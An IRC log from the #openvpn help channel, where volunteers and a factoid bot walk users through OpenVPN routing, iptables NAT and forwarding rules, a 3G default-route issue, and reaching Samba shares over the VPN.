14:09 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
14:10 <@krzee> Ziber, your server config should have route 10.220.0.0 255.255.255.0
14:10 <@krzee> Ziber, show me iptables-save
14:10 <@krzee> (on the client)
14:11 < Serus> how can I test the forwarding?
14:12 < Ziber> Sure, sec.
14:13 <+pekster> Serus: If you use the flowchart it walks you through that. Pinging the "far side IP" of the server is the part that tests it
14:14 -!- dimitry7 [~antonello@38.124.174.31] has quit [Quit: Leaving]
14:14 < Ziber> krzee: http://pastebin.com/TSLX0z4J
14:15 < Serus> !route
14:15 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
14:15 <@vpnHelper> the server or client
14:16 < Ziber> krzee: I can ping from the server to a machine in the client's subnet, but not vice versa.
14:17 <@krzee> oh, now you can ping the machine in the lan?
14:17 <@krzee> in that case it is certainly a firewall issue
14:17 <@krzee> quite possibly on the server
14:17 <@krzee> you said before that your server could not ping 10.220.0.10
14:18 < Ziber> Yes, it can now, because I figured out masquerading.
14:19 <@krzee> cool, now you just got to fix your firewall, probably just need to allow * to/from tun+ in the server
14:19 < Serus> So correct me if I'm wrong
14:19 < Ziber> I can't ping from the machine in the lan (hydrogen - 10.220.0.11) to the LAN vpn endpoint (oxygen - 10.220.0.10, 10.192.254.14) on the 10.192.254.0/24 network though. That means a client issue, right?
14:20 <@krzee> Ziber, you just skipped too far ahead
14:20 < Serus> I can now externally connect to my vpn, but I want to be able to access my smb shares
14:20 <@krzee> get the client lan working 100% first
14:20 <@krzee> THEN worry about the next lan
14:20 < Ziber> Define 'working'?
14:20 <@krzee> get ping working in both directions
14:20 < Serus> do I need to setup server lan for that?
14:21 < Ziber> I fail to see how these are different problems...
14:21 <@krzee> Serus, that depends if your smb shares are on the server lan or not
14:21 < Serus> uhm
14:22 <@krzee> Ziber, first get 1 lan pinging both ways, then we'll worry about the next lan
14:22 <@krzee> .
14:22 < Serus> the samba server and the openvpn server both run on the pi
14:22 < Ziber> By lan 1, you mean 10.220.0.0/24?
14:22 < Serus> but idk if that counts as LAN
14:22 < Ziber> (Which is my AWS VPC, just for clarity)
14:22 <@krzee> Ziber, yes, the first lan we were talking about
14:22 < Ziber> Okay.
14:22 < Ziber> Serus: You're running openvpn on the pi? :)
14:23 < Serus> yes
14:23 < Ziber> that's awesome.
14:23 <@krzee> Serus, then you dont need to route a lan
14:23 < Ziber> I'm thinking about getting one. Worth the $35?
14:23 < Serus> thanks :D
14:23 < Serus> definitely
14:23 <@krzee> Serus, just make sure smb is willing to run on the vpn ip
14:23 <@krzee> (if the daemon needs to know, then tell it)
14:23 < Ziber> krzee: How would you suggest troubleshooting this?
14:24 <@krzee> it is a firewall issue
14:24 < Serus> http://openvpn.net/index.php/open-source/documentation/howto.html#samba
14:24 <@vpnHelper> Title: HOWTO (at openvpn.net)
14:24 <+pekster> That said, if using DNS for the home LAN as a domain you can resolve from the client, it could make snese to push a route to the LAN anyway and avoid a split-horizon DNS setup
14:24 < Serus> I followed that
14:24 < Ziber> krzee: On the client?
14:24 <+pekster> Lots of options, depending on your ultimate goal/needs
14:24 <@krzee> Ziber, probably on the server (since you cannot ping it)
14:25 < Ziber> I can't ping the VPN client's IP from the machine behind it on the LAN.
14:25 < Ziber> Let alone the server.
14:27 <@krzee> can we just use actual ip addresses?
14:27 < Ziber> I'm going to draw up a diagram, okay?
14:27 <@krzee> please
14:28 <@krzee> -A POSTROUTING -s 10.192.254.0/24 -o eth0 -j MASQUERADE
14:28 <@krzee> -A POSTROUTING -d 10.192.254.0/24 -o eth0 -j MASQUERADE
14:28 <@krzee> does that really do what you want?
14:28 < Ziber> I... thought so?
14:31 <@krzee> for traffic with source 10.192.254.0/24 and destined to be routed out of eth0, nat with eth0 source
14:31 <@krzee> for traffic with detination 10.192.254.0/24 and destined to be routed out of eth0, nat with eth0 source
14:31 <@krzee> one of those has to be nonsense
14:32 <@krzee> cause theres no way 10.192.254.0/24 is being routed to eth0 and coming from eth0
14:33 < Ziber> I want it routed _to_. So take out the second one.
14:33 < Ziber> Also
14:33 < Ziber> https://www.gliffy.com/go/html5/5045855?app=1b5094b0-6042-11e2-bcfd-0800200c9a66
14:33 <@vpnHelper> Title: Gliffy Editor - Online (at www.gliffy.com)
14:33 <@krzee> nice i like gliffy :)
14:33 < Ziber> Not sure if you'll be able to see it without an account. I can screenshot if not.
14:33 <@krzee> i used them to make the diagram in !route
14:34  * Serus waits till you guys are done
14:34 <@krzee> you just need to click "share"
14:34 < Ziber> sucks that it's only a trial. and just found them by google.com
14:34 <@krzee> it'll give you jpgs
14:34 < Ziber> oooh
14:34 < Ziber> okay
14:34 < Ziber> http://www.gliffy.com/go/publish/image/5045855/L.png
14:36 < Ziber> I've taken out the destination rule
14:36 < Ziber> Wait
14:36 < Ziber> No
14:37 < Ziber> I wanted to keep that one. I'm confused.
14:37 <@krzee> what interface is 10.192.254.0 behind?
14:38 < Ziber> tun0.
14:38 < Ziber> that's the VPN subnet.
14:39 <@krzee> so when will packets with a destination 10.192.254.0 leave your eth0 device?
14:39 <@krzee> if they are destined for 10.192.254.0 wont they have to go out tun0?
14:39 < Ziber> Yes.
14:40 < Ziber> So, you're saying I want both of those rules, but -o tun0 for one of them.
14:40 <@krzee> oh Ziber you are chainging VPNs?
14:40 <@krzee> chaining
14:41 <@krzee> (looking at your diagram)
14:41 <@krzee> also, your diagram sucks dude :D
14:41 <@krzee> gliffy has a whole seciton of networking diagram items
14:41 <@krzee> !route
14:41 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
14:41 <@vpnHelper> the server or client
14:41 <@krzee> that diagram was made in gliffy
14:42 < Ziber> Sorry, I did it quick.
14:42 < Ziber> And not sure what you mean by "chaining".
14:43 <@krzee> how many vpn servers exist in your diagram?
14:43 < Ziber> In the diagram, or reality?
14:43 <@krzee> i expect they match...
14:44 <@krzee> if they dont, wtf is that diagram for?
14:44 < Ziber> Well, I left out a bit that was relevant to this conversation.
14:44 <@krzee> o.O
14:44 <@krzee> i hope you meant "was not"
14:44 < Ziber> ye
14:44 < Ziber> +s
14:44 < Ziber> sorry, long day.
14:44 < Ziber> There's a home server as well (which is currently off due to a power surge, so it's not part of this)
14:44 <@krzee> ok
14:45 <@krzee> in strill trying to figure out what im looking at here
14:46 <@krzee> trexor is a road warrior, caton is the vpn server, oxygen is a vpn client with a lan and hydrogren is simply a member of oxygen's lan
14:46 < Ziber> The only part I'm concerned with right now is the lan behind oxygen.liber.in.
14:46 <@krzee> is that right ^ ?
14:46 <@krzee> and trexor needs to access hydrogen (and other machines on that lan)
14:46 < Ziber> no. trexor is a VPS server, but other than that, yes. my laptop (which I also omitted) is the 'road warrior'.
14:46 < Ziber> But yes, I want -everything- access hydrogen.
14:47 < Ziber> *everything to...
14:47 <@krzee> ok, so there is only 1 lan involved
14:47 < Ziber> No. there's my home one. But I can replicate these steps when I can get my home server back up.
14:47 <@krzee> only if you REALLY understand what you're doing
14:47 < Ziber> oxygen/hydrogen's lan is AWS VPC, if that changes anything.
14:48 < Ziber> I plan to.
14:48 <@krzee> have you read !route a few times?
14:48 < Ziber> And I can't do both right now, since my parents are gone for the weekend and I'm away at school, so I can't turn my server back on.
14:48 < Ziber> Yes.
14:48 < Ziber> !route
14:48 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
14:48 <@vpnHelper> the server or client
14:48 <@krzee> and did you read !nathack
14:48 < Ziber> No.
14:48 < Ziber> !nathack
14:48 <@vpnHelper> "nathack" is see https://community.openvpn.net/openvpn/wiki/NatHack for info on how to solve the problem when you need !route_outside_ovpn but cant add a route to the gateway or the lan machines
14:49 < Ziber> it sounded bad, so I was hoping to avoid it.
14:50 <@krzee> yep it should be avoided if possible, but can be used when needed without too much consequence
14:51 < Ziber> Alright.
14:52 <@krzee>  what you need to remember is that all lans behind tun0 will need to be NAT'ed to eth0
14:52 <@krzee> all subnets
14:52 <@krzee> so vpn subnet, and all lan subnets behind other clients
14:52 < Ziber> http://pastebin.com/bLYxDKhD are the current firewall rules on oxygen, for natting.
14:52 <@krzee> are there more rules which you are hiding from me cause they are "irrelevant" ?
14:52 < Ziber> No.
14:53 <@krzee> -A POSTROUTING -d 10.192.254.0/24 -o tun0 -j MASQUERADE
14:53 < Ziber> On my home network, how's that gonna work? We have a router, that isn't the vpn client.
14:53 <@krzee> why do you think you need that?
14:53 < Ziber> If the destination of a packet is 10.192.254.0/24, it'd have to go out via tun0 interface.
14:54 < Ziber> I'm assuming, now that you've asked, that I don't.
14:54 <@krzee> hmm actually you may im trying to think about it now
14:54 <@krzee> haha
14:54 < Ziber> :D
14:54 <@krzee> ok so
14:54 <@krzee> do the lan mahcines need to only be reachable?
14:54 <@krzee> or do they need to initiate traffic as well?
14:55 < Ziber> I'd like the connectivity to be in both directions.
14:55 <@krzee> ok so you need the nathack AND to add a static route on each lan machine
14:55 < Ziber> D:
14:55 <@krzee> really if you can get access to the gateway this will be 1000% easier for you
14:55 <@krzee> and i guess your tun0 nat rule is right too
14:55 < Ziber> It's AWS VPC. I have access to this gateway, via routing rules.
14:55 <@krzee> i dunno wtf aws vpc means
14:55 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has quit [Quit: ZNC - http://znc.in]
14:55 <@krzee> lol
14:56 < Ziber> I already routed 10.192.254.0/24 to that lan machine.
14:56 <@ecrist> someone, http://www.youtube.com/watch?v=avaSdC0QOUM was in my plan file on my $work machines
14:56 <@vpnHelper> Title: Im On A Boat (Explicit Version) - YouTube (at www.youtube.com)
14:56 <@krzee> umm wait, why the hell are you using the nathack then?
14:56 < Ziber> Oh, it's Amazon Web Services. You have (mostly) full control over all aspects of the "LAN".
14:56 <@ecrist> some staff member looked at it after doing a finger on my user
14:56 <@ecrist> lol
14:56 <@krzee> i thought you wait you could not add the route to the gateway?
14:56 < Ziber> Well, it's not working, now is it?
14:56 <@krzee> hahahahh ecrist
14:57 <@krzee> nice troll :D
14:57 <@krzee> too bad you didnt rick roll him
14:57 <@krzee> that would have been epic
14:57 < Ziber> In the route table of the VPC: 10.192.254.0/24 will be routed to oxygen.liber.in.
14:58 <@ecrist> it was one of our processing stoff.  I imagine she had it blasting in the office, too
14:58 <@krzee> Ziber, that is the gateway for 10.220.0.0/24?
14:58 < Ziber> Yes.
14:59 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has joined #openvpn
15:00 -!- kryl [~kryl@197.247.88.255] has joined #openvpn
15:00 < kryl> hi
15:00 < kryl> I have problem to use openvpn with 3g ppp connection ! I think it's a default route problem but I have no idea about how to fix it !
15:01 < kryl> if you need more informations ?
15:01 <+pekster> Quite a bit, yes. Please see/read !welcome, !goal, !configs, and !logs
15:02 <+pekster> The /TOPIC is an excellent starting point too
15:02 < Ziber> krzee: Thoughts?
15:03 <@krzee> Ziber, remove both nat rules, then show me the routing table for the VPC
15:03 < Ziber> Okay.
15:04 <@krzee> pekster, $1 usd says kryl cant read the default gateway from the system (seen this with ppp long long ago on maillist and here)
15:05 <@krzee> Ziber, how many machines on the 10.220.0.0/24 lan?
15:06 <+pekster> krzee: Could be, though logs tend to be pretty clear about that since it explicitly states this fact ;)
15:06 < kryl> I guess it's the same old ppp problem
15:06 < kryl> I have no firewall and nat rules actually
15:06 < kryl> 0.0.0.0         0.0.0.0         0.0.0.0         U     0      0        0 wwp0s20u4i6
15:06 <+pekster> Not really a ppp problem but an issue with the OS making the call and your (possibly implicit) usage of net_gateway
15:07 < kryl> there is no G flag for the default GW
15:07 <+pekster> And under Linux please use `ip route` not the old-and-deprecated net-utils tools
15:07 < kryl> I use archlinux last update
15:07 <+pekster> !linux_ifconfig
15:07 <+pekster> !ifconfig_linux
15:07 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
15:07 < kryl> pekster, k
15:07 < kryl> default dev wwp0s20u4i6  proto static
15:07 < kryl> 197.247.88.0/23 dev wwp0s20u4i6  proto kernel  scope link  src 197.247.88.255  metric 7
15:07 <+pekster> no big deal, but the output is easier to read, and you'll need iproute2 anyway for new feature (>=2.6 kernels)
15:08 < kryl> result of ip route ...
15:08 <+pekster> Right, so your 0/0 route is bound to the device, not to a particular IP
15:09 < kryl> yes I know
15:09 <+pekster> This is fine for PtP interfaces, but the call openvpn makes to keep your traffic _to_ the openvpn server still going there when you --redirect-gateway can't be made
15:09 <+pekster> The fix is to manually add it in, possibly in a --route-up script, and either use the IP you have, or (even better!) use the uplink device as it's doing initially
15:10 <+pekster> There's not really a good way to fix the issue since use of net_gateway as a via argument requires it be fed an IP
15:10 < Ziber>        Sorry. I got disconnected.
15:10 < kryl> may I remove the default route to the device and add a new one to the IP I get ?
15:10 < kryl> I'm not sure about the result for ppp !
15:10 < Ziber> krzee: There are three machines (including the VPN client) on 10.220/24
15:11 <+pekster> kryl: The issue isn't replacing the gateway to the VPN client, but keeping traffic to the VPN peer going there
15:11 < Ziber> Cleared oxygen's nat rules.
15:11 <+pekster> kryl: You need something to the effect of `ip route add $IP_OF_VPN_PEER dev wwp0s20u4i6` or such
15:12 <+pekster> And _then_ you can add your two /1 routes
15:12 < kryl> I already tryied that with old route stuff without success :)
15:12 < kryl> well if I play I'll be disconnected from here
15:13 < kryl> you said :  or (even better!) use the uplink device as it's doing initially
15:13 < kryl> how can I do that ?
15:13 < Ziber> krzee: http://caton.liber.in/~ziber/vpc_routing.png <-- VPC routing table.
15:13 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 272 seconds]
15:13 < Ziber> With the nat rules removed, I can no longer ping from my VPN server to those machines.
15:14 <+pekster> kryl: I showed you in the `ip route ..` command earlier
15:14 < kryl> ok
15:14 < kryl> let's try ;)
15:14 < kryl> thank you pekster
15:15 <+pekster> kryl: Sure. Basically you just need to do the steps --redirect-gateway would do for you since you don't have an existing route target IP on your 0/0 route
15:15 <+pekster> Drop it in a --route-up script that gets run near the end of connection init, and be sure you're either not pushing that option to the client, or ignore it (read !nopull or maybe --route-noexec)
15:18 -!- kryl is now known as Guest29060
15:19 -!- Guest29060 [~kryl@197.247.88.255] has quit [Ping timeout: 245 seconds]
15:21 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
15:23 <@krzee> whats "propogated" mean in there ziber?
15:24 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 240 seconds]
15:24 <@krzee> Ziber, and now can the client ping the server by vpn ip?  can the server ping the client by vpn ip?
15:24 < Ziber> krzee: It would only be "yes" if I set up a VPN connection through AWS (which costs money).
15:24 <@krzee> oh haha
15:25 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
15:25 -!- kryl [~kryl@sd-20767.dedibox.fr] has joined #openvpn
15:25 < Ziber> server<->ping works via both VPN and VPC.
15:26 < kryl> re
15:26 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
15:26 < kryl> it works if I add a route to the openvpn server before to launch openvpn
15:27 < kryl> pekster, +1
15:27 <@krzee> Ziber, now show me the routing table on hydrogen
15:27 < Ziber> Okay.
15:27 < kryl> !nopull
15:27 <@vpnHelper> "nopull" is "route-nopull" is If you want to accept pushed options from the server but not apply the routes (including --redirect-gateway) you can use --route-nopull to ignore all pushed routes
15:27 < Ziber> default via 10.220.0.1 dev eth0
15:27 < Ziber> 10.220.0.0/24 dev eth0  proto kernel  scope link  src 10.220.0.11
15:29 <@krzee> route add -net 10.192.254.0/24 gw 10.220.0.10
15:29 <@krzee> on hydrogen
15:29 < Serus> push “redirect-gateway def1" shouldn't def1 be eth0?
15:29 < Serus> from openvpn.conf
15:29 <@krzee> Ziber, now can hydrogen ping the vpn server?
15:29 < Ziber> No.
15:29 <@krzee> Ziber, show me the vpn server routing table
15:30 < Ziber> Okay.
15:30 <@krzee> also, can the server ping 10.220.0.11 ?
15:30 <+pekster> Serus: no. Read --redirect-gateway in the manpage for valid options. "eth0" is not a valid option, nor does that command take an interface
15:30 < Ziber> http://pastebin.com/u5hQnL1e
15:30 < Ziber> Yes, it can.
15:30 <@krzee> oh ok, so show me the server iptables-save
15:31 <@krzee> Ziber, and on the client there is NO nat, right?
15:31 <+pekster> krzee: Not needed here, but I added !netfilter too with a reference to iptables-save (and the -c arg) and mentioned #netfilter. A bit more to-the-point than !iptables
15:31 <@krzee> oh nice thank you!
15:31 < Ziber> krzee: http://caton.liber.in/~ziber/rules.v4
15:32 <@krzee> pekster, if you feel its worthy to replace !iptables go for it
15:32 <+pekster> I tweaked it, but maybe what I should do is move out the "to undo your rules" mess into a "see also" link. I'll ponder it :P
15:32 < Ziber> krzee: There is nat currently, only way I can ping, albeit mono-directional.
15:32 <@krzee> Ziber, iptables -I INPUT -i tun+ -j ACCEPT
15:32 <@krzee> then try pinging the server from hydrogen
15:33 < Ziber> -I INPUT 1?
15:33 <@krzee> Ziber, i told you to remove that nat rule before i said to post the routing table of APC
15:33 < Ziber> I put it back because nothing was working. I'll remove it again.
15:33 <@krzee> [13:03]  <krzee> Ziber, remove both nat rules, then show me the routing table for the VPC
15:33 <@krzee> [13:03]  <Ziber> Okay.
15:34 < Ziber> Removed. Added the input rule. No change.
15:34 <@krzee> no change means you have 1 way ping
15:34 < Ziber> Indeed.
15:34 <@krzee> so you STILL have 1 way ping?
15:34 < Ziber> Yes, I do.
15:34 < Serus> is there an easy to follow guide I can follow to gain access to the LAN network of the server?
15:34 < Ziber> Interestingly enough.
15:34 <@krzee> so the nat rule didnt help anything ;]
15:34 <@krzee> Ziber, show me iptables-save again
15:34 < Ziber> Apparently not.
15:35 < Ziber> From what?
15:35 < Ziber> server or client?
15:35 <@krzee> server is all i care about right now
15:35 < Ziber> okay.
15:35 < Ziber> http://caton.liber.in/~ziber/rules.v4
15:36 <@krzee> i dont see the rule i just told you to add
15:36 <@krzee> also, WHY is there a nat rule there?
15:36 <@krzee> remove that
15:36 < Ziber> input was supposed to be on the server?
15:36 < Ziber> I put that on oxygen.
15:36 <@krzee> its fine on both
15:36 <@krzee> but yes it was for server
15:36 < Ziber> Sec
15:37 <@krzee> also remove that nat rule
15:37 <@krzee> there should be no nat relating to the vpn in this setup
15:37 < Ziber> There, refresh.
15:37 <@krzee> still 1 way ping?
15:38 < Ziber> Now zero-way.
15:39 <@krzee> they cant even ping by vpn ip?
15:39 <@krzee> show me both configs like this:
15:39 <@krzee> !configs
15:39 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
15:39 < Ziber> By VPN they can.
15:39 < Ziber> Alright.
15:40 -!- Serus [~Dragoon@31-151-158-2.dynamic.upc.nl] has quit [Remote host closed the connection]
15:41 < Ziber> How do I get the version of openvpn?
15:42 < Ziber> brb
15:42 <@krzee> openvpn --version :D
15:45 < Ziber> coulda guessed that.
15:47 -!- kryl [~kryl@sd-20767.dedibox.fr] has quit [Ping timeout: 253 seconds]
15:47 < Ziber> http://pastebin.com/J8LdATVN
15:48 < Ziber> and I gotta go for a bit... :(
15:48 < Ziber> Thanks so much for your help!!
15:48 -!- nitram_ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has joined #openvpn
15:53 <@krzee> whoa does pull take options now?
15:53 <@krzee> !man
15:53 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
15:53 <@krzee> nope, it does not
15:53 <@krzee> and pull is implied by --client, so remove line 44 (on the paste) from client config
15:53 -!- nitram_ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has quit [Remote host closed the connection]
15:54 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
15:54 <@krzee> i didnt catch oxygen's ccd file, but i guess you're gone for a bit
16:00 -!- Serus [~Dragoon@31-151-158-2.dynamic.upc.nl] has joined #openvpn
16:11 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has quit [Quit: elfixit]
16:16 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginm.net] has quit [Quit: Ex-Chat]
16:17 < Ziber> leaving for dinner with the gf, sorry.
16:17 < Ziber> :(
16:17 < Ziber> I'll be back in a bit.
16:18 -!- gardar [~gardar@gardar.net] has quit [Read error: Operation timed out]
16:22 -!- gardar [~gardar@gardar.net] has joined #openvpn
16:23 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
16:28 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
16:38 <@krzee> Ziber, thats a good thing, enjoy =]
16:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit []
16:48 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:49 -!- Sjors [~sgielen@foo.kassala.de] has left #openvpn ["http://quassel-irc.org - Chat comfortabel. Waar dan ook."]
17:01 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
17:01 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
17:01 -!- map is now known as Guest5980
17:02 -!- Guest68281 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
17:03 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
17:08 -!- klein [~klein@177.101.118.94] has joined #openvpn
17:08 -!- klein [~klein@177.101.118.94] has quit [Changing host]
17:08 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:10 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:12 < EugeneKay> !download
17:12 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
17:12 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
17:14 < Serus> ok krzee could you help me now?
17:16 < Serus> or anybody here?
17:16 < Serus> !serverlan
17:16 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
17:16 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
17:20 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
17:22 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
17:23 < Serus> !samba
17:23 <@vpnHelper> "samba" is (#1) http://openvpn.net/faq#samba-routing for using samba with a routed tun, or use NETBIOS with a bridge or (#2) http://www.openvpn.net/howto#samba if you run samba on linux and use tun mode
17:26 -!- master_o1_master [~master_of@p4FD7B457.dip0.t-ipconnect.de] has joined #openvpn
17:27 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
17:29 -!- master_of_master [~master_of@p4FF24C3D.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
17:31 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
17:36 -!- mattock is now known as mattock_afk
17:44 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:56 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
17:56 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 246 seconds]
18:04 -!- kirin` [telex@gateway/shell/anapnea.net/x-pfcbihtlfldriszo] has quit [Ping timeout: 260 seconds]
18:05 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:17 -!- kirin` [telex@gateway/shell/anapnea.net/x-toojsuulsqtzxtqf] has joined #openvpn
18:20 -!- Nuitari [~nuitari@modemcable062.46-70-69.static.videotron.ca] has quit [Ping timeout: 268 seconds]
18:22 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
18:22 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
18:29 <@krzee> Serus, still stuck?
18:57 -!- klein [~klein@177.101.118.94] has joined #openvpn
18:57 -!- klein [~klein@177.101.118.94] has quit [Changing host]
18:57 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:04 < Serus> no
19:04 <@krzee> nice
19:04 <@krzee> in that case, good job =]
19:05 < Serus> I had to add push "route 192.168.1.0 255.255.255.0" to openvpn.conf
19:06 < Serus> now I probably should also enable wins in samba for it to be able to connect to \\raspberrypi\iomega
19:06 <@krzee> hella easy
19:06 <@krzee> !wins
19:06 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
19:07 < Serus> the ! stuff is pretty annoying though
19:07 <@krzee> i dont actually use smb, but thats all there is to it at that link
19:07 < Serus> !serverlan
19:07 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
19:07 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
19:07 <@krzee> hah
19:07 < Serus> !route
19:07 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
19:07 <@vpnHelper> the server or client
19:07 <+pekster> Serus: Would it be more or less annoying that not getting answers becuase no one here wants to type it? ;)
19:07 <@krzee> that bot helps us keep our sanity when answering the same question 100 times / week
19:08 <@krzee> i realized years ago that we were literally typing out thousands of words over and over again
19:08 <@krzee> !factoids
19:08 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
19:08 <+pekster> !learn query as If you want to query me for a !factoid in PM, you can use: /msg vpnHelper factoids whatis #openvpn wordToQueryHere
19:08 <@vpnHelper> Joo got it.
19:09 <@krzee> !msg
19:09 <@vpnHelper> "msg" is (#1) to see vpnHelper's factoids in msg instead of the channel, /msg vpnHelper factoids whatis #openvpn <key> or (#2) so to see !configs in msg, you would type /msg vpnHelper factoids whatis #openvpn configs
19:09 <+pekster> Oh :(
19:09 -!- maskedlua_ is now known as maskedlua
19:09 <+pekster> !forget query
19:09 <@vpnHelper> Joo got it.
19:12 < rob0> The bot is the best part of this channel. Some people can (and do) get self-help through it. And yes, we only have a little !factoid to type to the same questions over and over.
19:12 < rob0> If it annoys you, your problem. Pay for personal attention if you think you are entitled to it.
19:12 <@krzee> i have even replied to the mail list with answers from the bot
19:13 <@krzee> hell, friends msg me for help and i msg answers from the bot
19:13 <+pekster> So we could replace you with a shell/perl/awk script that parses the question and returns matching queries from the bot? :P
19:13 < rob0> Oh I don't have that problem. I have no friends!
19:13 <@krzee> haha
19:13 < rob0> thumbs, right? ^^
19:13 <@krzee> pekster, that would be AWESOME
19:14 <@krzee> and really, i think it could be done :D
19:14 <+pekster> I was going to link to the thinkgeek shirt, but they don't sell it anymore (and it took me a while to re-enable RC4 that they "require" for the TLS handshake)
19:15 < Serus> rob0: I don't think I'm entitled to it.
19:15 <+pekster> krzee: http://www.geekpeak.de/images/produkte/i22/22-go-away-or-i-will-replace-you.jpg
19:15 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 241 seconds]
19:16 <@krzee> oh i love that shirt
19:16 <@krzee> i want
19:16 <@krzee> seen it, dont have it
19:17 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
19:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
